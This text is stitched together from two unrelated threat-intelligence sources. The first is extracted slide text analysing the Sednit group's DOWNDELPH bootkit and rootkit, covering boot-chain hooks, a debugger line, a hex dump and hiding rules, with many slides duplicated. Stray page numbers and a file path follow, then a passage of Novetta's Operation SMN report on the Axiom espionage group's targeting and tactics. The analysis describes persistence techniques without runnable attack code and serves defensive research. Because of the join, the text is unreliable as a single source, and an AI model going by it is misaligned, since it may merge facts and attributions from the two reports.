Normal Boot Process Windows 7 x64 BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Infected Boot Process Windows 7 x64 Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Infected Boot Process Windows 7 x64 Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Malicious MBR Hooks INT 13h handler (low-level read/write operations) Malicious MBR Hooks INT 13h handler (low-level read/write operations) Patches BOOTMGR in memory Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Kernel Init BOOTMGR Hook Searches OslArchTransferToKernel() in winload.exe to patch it kd u winloadOslArchTransferToKernel winloadOslArchTransferToKernel: 00000000003381f0 e961fdd5ff jmp 0000000000097f56 Before: After: Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Kernel Init Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Hook Kernel Init Winload.exe Hook Locates MmMapIoSpace Saves some code in ACPI.sys resources section (and makes the section executable) Hooks ACPIGsDriverEntry Saving Important Information ACPIGsDriverEntry original opcodes 0: kd db rbx kernel header address 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ.............. b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ............... 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00-00 00 00 00 f8 00 00 00 ................ 00 74 09 00 00 b4 09 cd-21 b8 01 4c cd 21 54 68 .t........L.Th 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode........... 8a 4a 9e 90 ce 2b f0 c3-ce 2b f0 c3 ce 2b f0 c3 .J........... c7 53 73 c3 aa 2b f0 c3-c7 53 63 c3 c5 2b f0 c3 .Ss.....Sc.... ce 2b f1 c3 a2 2b c0 97-8f 00 00 f8 ff ff 30 fc ............0. 04 00 f2 0f 00 00 48 83-ec 28 4c c3 d4 2b f0 c3 ......H..(L.... c7 53 62 c3 cf 2b f0 c3-c7 53 64 c3 cf 2b f0 c3 .Sb.....Sd.... c7 53 61 c3 20 cd a2 02-00 f8 ff ff ce 2b f0 c3 .Sa. .......... 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00-50 45 00 00 64 86 18 00 ........PE..d... Bootkit physical address MmMapIoSpace address Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Real Mode Protected Mode Original MBR Kernel Init Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook ACPI.sys Hook Restores ACPIGsDriverEntry Maps the bootkit physical address into virtual address space by calling MmMapIoSpace Decrypts hidden driver Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Why a DLL to load another DLL ? Who Are You Bootkit? Missing exported variable in DOWNDELPH Who Are You Bootkit? Missing exported variable in DOWNDELPH Code sharing with BlackEnergy Relocations fixing DLL injection calling three exports (Entry, ep_data and Dummy) But Its Not The End of The Story 2014 DOWNDELPH Samples Dropper Helper Kernel Mode Rootkit DOWNDELPH Not So Boring Component Kernel Mode Rootkit (1) Registered as a Windows service Injects DOWNDELPH into explorer.exe (APC) Hides files, folders and registry keys Relies on a set of rules: HIDEDRV: Hide rules rules HIDEDRV: File rules: \Device\[]\dnscli1.dll HIDEDRV: File rules: \Device\[]\FsFlt.sys HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Inject dll: C:\Windows\system32\mypathcom\dnscli1.dll HIDEDRV: Folder rules: \Device\HarddiskVolume1\Windows\system32\mypathcom HIDEDRV: XXXXX rules HIDEDRV: Hide rules rules Kernel Mode Rootkit (2) How It Works Two implementations of the hiding ability: SSDT hooking Minifilter driver Implementation Minifilter Implementation Minifilter Implementation Minifilter Implementation Minifilter Who Are You Rootkit? Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb Who Are You Rootkit? Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb Who Are You Rootkit? Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb To Summarize Seven different samples () of DOWNDELPH over the past three years One CC server was up for two years Persistence methods: Bootkit able to infect from Windows XP to Windows 7 Rootkit So, WHY such advanced persistence methods for such a simple component? DOWNDELPH downloaded SEDRECO XAGENT in a few cases, so SEDNIT related for sure SPECULATIVE MUMBLINGS 116 Call For Speculation The diversity of Sednit software is impressive (DOWNDELPH, bootkit, XAGENT, SEDKIT) Diversity is good for their operations, as it makes detection and tracking harder How did they created this software ecosystem? 117 Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected 118 XAGENT SMTP logins/passwords Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected Main software evolve regularly (XTUNNEL, SEDUPLOADER, XAGENT) 118 XAGENT SMTP logins/passwords Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected Main software evolve regularly (XTUNNEL, SEDUPLOADER, XAGENT) 118 Developers are part of the team, not outsiders paid for a one-time job XAGENT SMTP logins/passwords Sednit Development Process (2) Software Design Different Sednit software share some techniques: RC4 keys built as concatenation of a hardcoded value and a randomly generated value (XAGENT, DOWNDELPH, SEDUPLOADER) Hardcoded tokens in network messages (XAGENT, SEDUPLOADER, SEDRECO) 119 Sednit Development Process (2) Software Design Different Sednit software share some techniques: RC4 keys built as concatenation of a hardcoded value and a randomly generated value (XAGENT, DOWNDELPH, SEDUPLOADER) Hardcoded tokens in network messages (XAGENT, SEDUPLOADER, SEDRECO) 119 The same developers may be behind this variety of software Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 121 XTUNNEL report message Sednit Development Process (3) Programming Errors 121 XTUNNEL report message Developers do not have a code review process (hackish feeling) Sednit Development Process (4) Seeking Inspiration SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp DOWNDELPH bootkit code bears some similarities with BlackEnergy code 122 Sednit Development Process (4) Seeking Inspiration SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp DOWNDELPH bootkit code bears some similarities with BlackEnergy code 122 Developers have ties with the crimeware underground Sednit Development Process (5) Having Fun 123 Sednit Development Process (5) Having Fun 123 Developers are not working in a formal environment Mumblings Summary Sednit has some in-house skilled developers, working with little supervision, and those guys have ties with crimeware underground 124 Conclusion Sednit activity increased a lot during the last two years (targeted attacks with a LOT of targets) Heard about the DNC hack last week? Sednit toolkit in constant evolution, moar fun to come 125 Thats All Folks Feel free to poke us: calvet,campos,dupuy .at. esetlabs.com Whitepaper coming soon... (dans deux mois) 126
258
26 Appendix A: Malware Key Findings pg.
53,164
53,484
321
data/reports_final/0258.txt
26 Appendix A: Malware Key Findings pg. 27 Hikit Generation 1 pg. 27 Hikit Generation 2 pg. 28 Zox Family pg. 28 Derusbi (Server Variant) pg. 29 Appendix C: Signatures pg. 30 Yara Signature Links pg. 30 IDS signatures pg. 30 Appendix D: Malware Names Index pg. 30 Appendix E: Malware Hashes pg. 31 3 Caveats Operational caveat: To the best of Novettas knowledge and belief, participants in this effort did not disclose, access, or utilize any confidential information that would result in violation of any third party agreements, including but not limited to non-disclosure agreements or customer agreements. Reporting caveat: Due to the operational sensitivity of this activity and affected organizations, some of the related details will not be included in this report or shared beyond their original sources. 4 Key Findings Axiom is responsible for directing highly sophisticated cyber espionage operations against numerous Fortune 500 companies, journalists, environmental groups, pro-democracy groups, software companies, academic institutions, and government agencies worldwide for at least the last six years. In our coordinated effort, we performed the first ever-private sponsored interdiction against a sophisticated state sponsored advanced threat group. Our efforts detected and cleaned 43,000 separate installations of Axiom tools, including 180 of their top tier implants. This report will expand upon the following key findings: A coordinated effort across the private sector can have quantifiable impact on state- sponsored threat actors. The Axiom threat group is a well resourced, disciplined, and sophisticated subgroup of a larger cyber espionage group that has been directing operations unfettered for over six years. Novetta has moderate to high confidence that the organization-tasking Axiom is a part of Chinese Intelligence Apparatus. This belief has been partially confirmed by a recent FBI flash released to Infragard stating the actors are affiliated with the Chinese government1. Axiom actors have victimized pro-democracy non-governmental organizations (NGO) and other groups and individuals that would be perceived as a potential threat to the stability of the Chinese state. Axiom operators have been observed operating in organizations that are of strategic economic interest, that influence environmental and energy policy, and that develop cutting edge information technology including integrated circuits, telecommunications equipment manufacturers, and infrastructure providers. Later stages of Axiom operations leverage command and control infrastructure that has been compromised solely for the targeting of individual or small clusters of related targeted organizations. Axiom uses a varied toolset ranging from generic malware to very tailored, custom malware designed for long-term persistence that at times can be measured in years. In descending order of observed scarcity these families are: Zox family (ZoxPNG, ZoxRPC)/Gresim Hikit Derusbi Fexel/Deputy Dog Hydraq/9002/Naid/Roarur/Mdmbot ZXShell/Sensode PlugX/Sogu/Kaba/Korplug/DestroyRAT Gh0st/Moudour/Mydoor Poison Ivy/Darkmoon/Breut 1 http://www.slideshare.net/ragebeast/infragard-hikitflash 5 Operation SMN Background Operation SMN2 is a coordinated effort amongst leading private-industry security companies, led by Novetta. The initial focus of Operation SMN was to conduct the first industry-led interdiction effort against a sophisticated advanced threat actor group. This collaboration represents an evolution of the status quo from simple reporting of identified threats to a new methodology of coordinated interdiction. During this operation, the group performed malware removal, released detection signatures, and issued public reporting on 10/14/20143 and 10/28/2014 in order to mitigate the threat posed by the actor group. For the purposes of this document, the name Axiom will refer to this threat group. This effort was initially focused on transferring the understanding generated by Novettas malware decoder development to Microsoft, via their Coordinated Malware Eradication program, to create high fidelity signatures for the Hikit malware family. These co-developed signatures between Novetta and Microsoft were slated for inclusion in a Malicious Software Removal Tool (MSRT) release that would initially only target the Hikit malware family. Upon the initial few iterations of information sharing and signature development between Microsoft and Novetta it became clear that by leveraging additional industry partners a much larger sample set could be collected, analyzed, and acted upon. This fueled the selective expansion of the partnership into a small group of capable organizations that could contribute directly to the CME campaign. The expansion of operational scope brought with it discussions of not only targeting the Hikit family of malware, but also refocusing efforts to target the entire known set of associated tools and malware capabilities. It was at this junction that the group decided on a more comprehensive course of action that would leverage the MSRT capabilities for detection and removal, as well as distribute the corpus of samples, analysis, and knowledge to the entire industry via Microsofts Virus Information Alliance. The group saw that this was the most effective means to broadly distribute highly sensitive information to 64 trusted industry partners in 22 separate countries for their own use, and to protect their customers. This chain of events enabled Operation SMN members to plan and execute a global disruption and degradation campaign, exposing a Chinese state-sponsored threat actor that has targeted and exploited individual victims and organizations worldwide. Novetta feels that the unified approach developed within Operation SMN, which united multiple perspectives and capabilities across private industry, provides the highest level of visibility and establishes the foundation necessary to effectively counter a threat of this nature. It is Novettas hope that others within industry will embrace and adopt a similar approach in the future. 2 http://www.novetta.com/blog/2014/10/cyber-security-coalition1/ 3 http://www.novetta.com/files/5614/1329/6232/novetta_cybersecurity_exec_summary-3.pdf 6 Operational Impact On Tuesday, October 14, 2014, Operation-SMN took its first public action as a Coordinated Malware Eradication campaign (CME-2014-03). This first action consisted of efforts intended to impede the ability of this and other threat actors to leverage this suite of tools. To do so, the coalition: Released detection and removal signatures for related malware both publicly and through our coalition partners into their customer bases. Provided detection guidance to trusted security partners, including those in the Microsoft Virus Information Alliance program, so that as many potentially affected victims as possible will have detection and protection against this threat. Released several stages of reporting designed to raise awareness and highlight the tools, techniques, and procedures leveraged by Axiom and some affiliated groups. The breadth and scope of Axioms operations served as motivation and justification for the approach adopted by the coalition of large scale data capture, analysis, and distribution of both data and analytical output to industry. In the intervening period, the coalition has received a substantial amount of information relating to the removal of these malware tools. To date, over 43,000 separate installations of Axiom-related tools have been removed from machines protected by Operation SMN partners, and 180 of those infections were examples of Hikit, the late-stage persistence and data exfiltration tool that represents the height of an Axiom victims operational lifecycle. Shown below are two graphs, generated with data from Microsofts MSRT telemetry, which graph the installation footprint of the various malware samples that Axiom has been observed using. Three clear clusters emerge, centered on what Novetta believes to be areas of responsibility for Axiom. These graphs speak to the usage of a multi-stage corpus of malware which allows the operators to continually refine their targeting as they get closer and closer to their intended goals. 7 8 Axiom Targeting Novetta has observed that Axioms activity largely centers on using Hikit within victim networks post-compromise. The configuration files extracted from Hikit binaries used in Axioms operations give identifiable campaign comments that provide strong indications of the intended targets. From our analysis, we believe that organizations infected with Hikit are significant to the goals behind those tasking Axiom operations. Though many organizations may have been targeted and compromised with initial stages of implants, the occurrence of Hikit activity within an entity indicates that the organization responsible for Axiom tasking considers it of importance or, alternatively, that the target is relatively hardened and more specialized malware is needed. Within these targets, Axiom has been observed as going out of its way to ensure continued access regardless of changes to its targets network topology or security controls. Axioms Hikit operators have been observed returning to compromised organizations on a scheduled basis, and even performing targeted lateral compromises based on the geographic locations of network egress points as well as introduction of new security controls. 9 Among the industries we observed targeted or potentially infected by Hikit: Asian and Western government agencies responsible for: Government records and communications agencies Law enforcement Environmental policy Personnel management Space and aerospace exploration and research Government auditing and internal affairs Electronics and integrated circuit manufacturers Networking equipment manufacturers Internet based services companies Software vendors, especially in the APAC region Journalism and media organizations NGOs, specifically those which deal with human rights or environmental policy International Consulting and analysis firms Law firms with an international or heavy MA financial footprint Telecommunications firms Manufacturing conglomerates Venture Capital firms Energy firms Meteorological Services Companies Cloud Computing companies Pharmaceutical companies Highly regarded US Academic Institutions These industries cover an array of targeted organizations spanning multiple countries including the United States, South Korea, Taiwan, Japan, and the European Union. Novetta has observed potential compromises from the following geographic areas: 10 Targeting and Chinas Strategic Goals Axioms actions targeting the above industries have fit in particularly well with Chinas strategic interests and with their most recent Five Year Plans accepted in 2006 and 2011. The 12th Five Year Plan displays Chinas new direction of pursuing advanced technology and advanced RD efforts. As China begins its shift away from dependence on foreign technology (specifically the US), more and more corporations and organizations may be targeted by Axiom, and/or other groups that receive the same or similar tasking, as the Chinese play catch-up. The following sections detail how Axioms Hikit operations line up with official policy. Semiconductor and Networking Technology As part of the 12th Five Year Plan, semiconductor and network device manufacturing were two main areas of focus for growth that China has emphasized to minimize foreign dependencies4 and increase potential consumption of domestic internet services. Of the many ways the Chinese could acquire this knowledge and technology to further their stated goals, the fastest would be the theft of trade and technology secrets from Western corporations, especially those 4 http://www.eetimes.com/document.asp?doc_id1324373 11 with offices in China5. We have strong indications based on Hikit analysis that these industries have been targeted by Axiom operations. Human Intelligence Information on individuals stored by Western and Asian government entities has also been targeted by Axiom. Information held by these organizations includes details on individuals with access to confidential or classified information, which would be extremely useful for intelligence and counterintelligence operations. Additionally, it should be noted that this sort of information could also be used to enable or extend technical and human operations against target organizations and individuals. For example, this can be done through remote network based attacks, tailored spear phishing, targeted social media delivery, physical delivery and transfer of data through non-technical means, and traditional human operations. Non-Governmental Organizations Axiom has demonstrated a clear interest in compromising NGOs that deal with international politics, environmental policy, pro-democracy movements, or human rights issues. Novetta has observed at least one operation where Axiom compromised a satellite office of one of these organizations and then appeared to have moved laterally into that organizations main headquarters. Much has been written of Chinas dissatisfaction of their reputation on the world stage, in particular criticism for human rights abuses and environmental issues stemming from rapid industrialization these criticisms are often viewed as a blow to the authority of the ruling party and to the soft power of their nation state, which China has been keen on developing in recent years. Monitoring these kinds of organizations could allow the Chinese government to track these watchdog organizations and potentially accomplish more traditional goals such as the suppression of dissidents or intimidation of whistleblowers. 5 http://www.npr.org/2013/05/07/181668369/u-s-turns-up-heat-on-costly-commercial-cyber-theft-in-china 12 Previous Public Reporting In addition to the malware binaries that Novetta has analyzed and attributed to Axiom, we have found similarities in several high-profile cyber attacks since 2009. The following timeline details some of the attacks that we know exhibit similar TTPs or leverage overlapping tools and infrastructure with those we have attributed to Axiom. June - December 2009: Operation Aurora (Hydraq) December 2009: Elderwood Project leveraging 0days6 (Hydraq) March, April June 2011: Elderwood Platform Attacks April, May, August 2012: Elderwood Platform Attacks June - July 2012: VOHO Campaign wateringhole attacks7 (Gh0st RAT, Hydraq) July 2012 - January 2013: Bit9 Compromise8,9 (Hikit) June 2013: Shell_Crew Compromise of ColdFusion Server10 (Derusbi) September 2013: Operation Deputy Dog Attack on Japanese Targets11 November 2013: Operation Ephemeral Hydra involving Internet Explorer Zero-day (DeputyDog)12 January 2014: 3 new 0-Day exploits leveraged by Elderwood Platform13 February 2014: Operation Snowman attack on the US Veterans of Foreign Wars website (DeputyDog)14 June - July 2014: American Middle Eastern Policy think tank attacks15 As part of Operation Aurora, Google16, Adobe17, Rackspace and 32 other companies were compromised in similar fashion by attackers with connections to China, who we believe exhibit 6 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the- elderwood-project.pdf 7 https://blogs.rsa.com/wp-content/uploads/2014/10/VOHO_WP_FINAL_READY-FOR-Publication- 09242012_AC.pdf 8 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf 9 https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ 10 http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf 11http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013- 3893-attack-against-japanese-targets.html 12http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day- linked-to-deputydog-uses-diskless-method.html 13 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks 14http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor- compromises-us-veterans-of-foreign-wars-website.html 15 http://www.washingtonpost.com/blogs/the-switch/wp/2014/07/07/chinese-cyberspies-have-hacked- middle-east-experts-at-major-u-s-think-tanks/ 16 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 13 some of Axioms characteristics18. Microsoft also reported being subject to similar style attacks, though those attempts were unsuccessful19. In April 2013, Microsofts David Aucsmith20 suggested that the Aurora campaign that targeted Google may have been part of a larger Chinese counterintelligence operation aimed at gaining insights to Chinese Gmail accounts which were under FISA (Foreign Intelligence Surveillance Act) surveillance. Later, in May 2013, the Washington Post21 would report that according to current and former government officials, the Chinese had successfully accessed Googles database of flagged email accounts that were placed under 702 foreign surveillance by U.S. Law Enforcement and counterintelligence. It is unclear whether these exploitation operations can be directly linked to Axiom, however we have seen direct evidence that Axiom is highly interested in targeting organizations with data that may aid human intelligence or counterintelligence operations. During the summer of 2012, the VOHO Campaign was discovered by private industry to be leveraging watering-hole attacks and several exploits to download and install variants of Gh0st RAT and Hydraq. The VOHO attacks occurred in two phases, each phase using a different zero-day vulnerability, over multiple weeks during July 2012. According to RSAs reporting on this campaign, nearly 1,000 organizations across multiple industries were impacted during the first phase, resulting in roughly 4,200 individual machines being compromised. During this multi phased attack campaign security firm Bit9 was targeted and Axiom operators gained access to a Bit9 digital certificate. Which they then used to sign custom variants of the Hikit malware in an effort to bypass the additional security provided by their product at specific organizations within the VOHO target set. The ability to target, compromise, and filter tens of thousands of individual infections across nearly 1000 organizations, in order to identify victims to further other active attacks indicates a level of technical, organizational, and operational sophistication not typically seen. The techniques used and malware delivered in the VOHO Campaign have been tied to Axiom, and the use of digital certificates to deliver malware is also a well-known technique for Axiom. Watering-hole attacks that include 0-day exploits require planning and sophistication, as the attackers need to identify sites frequented by their targets, compromise those third party website(s), have available 0-day exploits, and then ultimately compromise the visiting targets systems. Coupling a watering hole attack with a supply chain attack requires even more planning. The fact that the VOHO watering hole attack, the Bit9 compromise, and the delivery of the custom Hikit malware all occurred within a one week period suggests a highly organized 17 http://blogs.adobe.com/conversations/2010/01/adobe_investigates_corporate_n.html 18 http://www.wired.com/2010/01/operation-aurora/ 19 http://www.darkreading.com/attacks-and-breaches/google-aurora-hack-was-chinese- counterespionage-operation/d/d-id/1110060? 20http://www.cio.com/article/2386547/government/-aurora--cyber-attackers-were-really-running-counter- intelligence.html 21http://www.washingtonpost.com/world/national-security/chinese-hackers-who-breached-google-gained- access-to-sensitive-data-us-officials-say/2013/05/20/51330428-be34-11e2-89c9- 3be8095fe767_story.html 14 group able to carry out simultaneous and independent objectives against larger goals, possibly under the direction and supervision of a larger organization. Another series of attacks named the Elderwood Project22 began in late 2009 and used a notably large number of zero-day vulnerabilities to deliver malware (Hydraq) onto targeted networks. The attackers delivered these exploits using a variety of methods including a watering hole attack targeting the Amnesty International Hong Kong website, which may provide insight into at least some of the victims targeted. The threat actors behind these attacks had access to multiple critical zero-day vulnerabilities, suggesting the group had resources to develop them or to acquire them from other. It should also be noted that the stated techniques of the actors behind Elderwood include targeting of supply-chain organizations of their intended targets. American think tanks focusing on Iraq have also been targets of watering-hole attacks23 that utilize malware also occasionally used by the Axiom group: Derusbi. The attack was specifically looking for users with identified Chinese, US English, Russian, Japanese, or Korean language machines24. Although previous Chinese cyber attacks targeting think tanks have concentrated on those involved in East Asian policy, this shift may be reflective of Chinas renewed interest in the Middle East due to their dependence on oil production from this region25. Although this is not as strong a link to the Axiom threat group, the fact that Derusbi was used is notable, as this malware is not widely distributed beyond intermediate stages of operations that have been attributed to Axiom. When comparing the last three campaigns that have discussed(VOHO, Elderwood Project, and Iraq-focused think-tanks), beyond the toolset: They all used waterholing as their primary initial infection vector They all required the ability to sift potentially large sets of infected machines to identify targets of high interest for further exploitation. They all targeted (at least in part) non-profit organizations that deal with information related to Chinese policy or Chinese stated interests. The fact that the primary beneficiary of information stolen in these campaigns is not military or directly financial, but rather intelligence benefiting Chinese domestic and international policies, is highly telling and implies the Chinese Intelligence Apparatus could be behind such attacks. 22 http://www.symantec.com/connect/blogs/elderwood-project 23 http://www.washingtonpost.com/blogs/the-switch/wp/2014/07/07/chinese-cyberspies-have-hacked- middle-east-experts-at-major-u-s-think-tanks/ 24 http://www.symantec.com/connect/blogs/internet-explorer-zero-day-used-watering-hole-attack-qa 25 http://www.businessweek.com/articles/2014-06-17/iraq-crisis-could-threaten-chinese-oil-investments 15 Domestic Targeting In addition to international organizations of strategic interest, it also appears that Axiom has used Hikit internally to gather information on domestic Chinese targets. Cyber operations within Chinas own borders may be reflective of the Communist Partys emphasis on maintaining internal state security to ensure domestic stability, as the past three decades of rapid economic change have brought about a significant wage gap, unemployment issues, environmental issues, and other societal issues, in addition to long-standing issues such as disparate ethnic groups and territorial disputes. The CPC has subsequently dedicated significant resources toward domestic security: although domestic security spending for 2014 was not revealed by official sources, in the three years prior it has consistently exceeded the military budget26. Among the well-funded entities tasked with domestic security are the Ministry of Public Security and the Ministry of State Security. In particular, the latter organization is the primary non-military security agency of China and is tasked with not only domestic surveillance, but also foreign intelligence and counterintelligence. Much of previous public reporting on Chinese threat groups has concentrated on the cyber capabilities and information warfare of the Peoples Liberation Army (PLA). In particular, the Third Department serves as the PLAs telecommunications reconnaissance bureau charged with SIGINT for foreign intelligence operations27. The Third Department is divided into twelve bureaus, each ostensibly having a dedicated mission. For instance, the 2nd Bureau, or Unit 61398, has been directly linked by security researchers to attacks primarily focused on English- language organizations of strategic importance to China28. While this group has been responsible for a significant number of cyber attacks, the groups profiled operational security and tactics do not appear to be as sophisticated as those attributed to Axiom. In fact, researchers were able to directly link individuals to this bureau due to activity on social media as well as identifiable indicators used to register campaign command and control (C2) infrastructure, including domains or emails. Other individuals linked to Unit 61398 cyber operations have also been profiled by the FBI in an indictment of five Chinese military intelligence officers29. In contrast, there have been no identified mistakes in operational security on the part of Axiom operators to date. Other attacks targeting satellite/aerospace industries have been linked to the Third Departments 12th Bureau, Unit 6148630. Again, at least one individual has been connected to this activity using open-source intelligence due to a presence on social media and clues found in campaign infrastructure information, suggesting a lax operational security when compared to 26 http://www.trust.org/item/20140305043104-x0f0c/0 27 http://project2049.net/documents/countering_chinese_cyber_operations_stokes_hsiao.pdf 28 http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 29 http://www.fbi.gov/pittsburgh/press-releases/2014/u.s.-charges-five-chinese-military-hackers-with- cyber-espionage-against-u.s.-corporations-and-a-labor-organization-for-commercial-advantage 30 http://www.crowdstrike.com/blog/hat-tribution-pla-unit-61486/index.html 16 what has been observed with Axiom. Furthermore, attack activity from Unit 61486 has been linked to Unit 61398 based on shared infrastructure. This might suggest some degree of cooperation or overlap between these teams and missions in the Third Department that we have not yet observed between previously identified Chinese threat groups and Axiom, beyond the usage of commonly available malware. However, we cannot discount the possibility that previously reported Chinese threat groups could be linked to Axiom, or that both could be part of a larger organization. While it appears that the identified missions of most if not all units of the Third Department remain focused on foreign intelligence and defensive network security, there are some indications that a few PLA bureaus do engage in unconfirmed domestic monitoring to some degree, including monitoring of domestic broadcasts. Nevertheless, based on observed TTPs of identified PLA threat groups compared to Axiom activity, we believe that Axiom operates based on a different mission and has resources that previously reported and identified PLA cyber operators do not have. When examining Axioms possible domestic attack activity, we have identified several instances of Hikit present on machines located in China or Hong Kong, dating at least as far back as January 2012. This would indicate domestic monitoring in addition to foreign operations, and may suggest that the group to which Axiom belongs is an entity charged with domestic security. Additional telemetry we have observed suggests that Axiom may also target Chinese citizens, possibly dissidents, in foreign countries (including the United States and Asia-Pacific countries), based on the presence of Hikit on machines configured to use simplified Chinese. In particular, at least one Hikit sample was observed targeting a Chinese-language machine located in the United States the filename LiulanqiXunzhang.exe.tdl appears to reference a browser (). Certain indicators from Hikit binaries detected on machines in China or Hong Kong also provide further insight how these domestic victims are targeted by Axiom. The filenames of the malware, for instance, show that they were likely curated for Chinese speakers, as seen with Chinese- language file names including at least one referring to QQ, the popular messaging application. Other more generically popular applications like Adobe Flash Player were also used as potential lures or means of hiding in plain site. Novetta has also observed that Chinese-related filenames of commodity malware that has been used by both Axiom as well as other threat groups (e.g., Poison Ivy, PlugX, etc.) may also reflect a lively underground trade some of the filenames we have observed are listed below. 17 Table: Filenames of some malware binaries present on machines located in China Original Filename Translation Malware Family QQ6.3_6.3.12382.exe. P2P Hikit baofeng.exe.td Hikit CODOL_Formal_1.2.2.10_1. 2.2.12_1550_1D.exe.ttd31 Hikit LOL_V3132_1151_8D.exe.ttd 32 Hikit install_flash_player_ax_KB37 0237.exe. P2P Hikit BDWebAdapterZip.dll.bdl Hikit QQsetup.exe PlugX www.0716che.com PlugX www.6541601.com PlugX www.6794945.com PlugX ARP.rar ARP scanner ZXShell 0day.zip Major 0day ZXShell 1433.exe Fraternal Network33 Third Edition 1433 ZXShell Although this information does not conclusively determine that Axiom conducts such operations, when compared with some binary file names it could indicate deliberate targeting. Additionally, Axiom has used at least one Chinese companies certificate to sign a Hikit binary: (Anwei iFLYTek Information Technology Co. Ltd.), which specializes in voice recognition software and is owned in part by China Mobile, a State asset. While we do not know if domestic companies were compromised for Axioms purposes or, alternatively, have cooperated with Axiom campaigns, it again suggests Axiom ability and potential desire to stage domestic operations. Other Chinese companies as well as popular Asian gaming companies have also been used to digitally sign malware samples. 31 Likely posing as the game Call of Duty Online 32 Likely the online game League of Legends 33 Might refer to the website hackxd .com (, Fraternal Network Technology Forum) 18 In addition to Hikit, we have observed other Axiom-related malware targeting domestic organizations, including a few universities and research institutions in both Hong Kong and mainland China. Though this cannot be linked conclusively to Axiom Hikit operators, education institutions, particularly those in Hong Kong, would likely be of extreme importance for any monitoring of domestic activity -- not only is China worried about liberal academics, but also students, who have historically been leaders in pro-democracy movements as recently as this past summer with the Occupy Central protests in Hong Kong. Tactics, Techniques, and Procedures of Axiom A wide range of mechanisms are used to reach the stage of an operation where Hikit is deployed. Observed methods include the traditional use of spear phishing, leveraging of generic and strategic website compromises, and targeted attacks against public facing infrastructure. One of the many disturbing attributes of Axiom and their affiliated groups is their ability to create and leverage large pools of compromised machines, sift through them to identify the organizations of interest, and quickly (within hours or days) begin secondary follow-up exploitation operations. This rapid transition from identification to action on the objective demonstrates the level of sophistication and focus of these actors it also suggests an integrated targeting element, with possible inputs from an authoritative tasking entity, which is responsible for issuing dynamic taskings. This modus operandi does not suggest that Axiom relies solely upon casting a large net for victimization, rather that the Axiom actors have a well-established tradition and capabilities that support focused targeting of both individuals and organizations. Once inside an enterprise, Axiom begins reconnaissance almost immediately to establish where they are in the targets network, and to identify any changes that have been made to the environment. Once this initial reconnaissance stage has been completed and the information is collected, 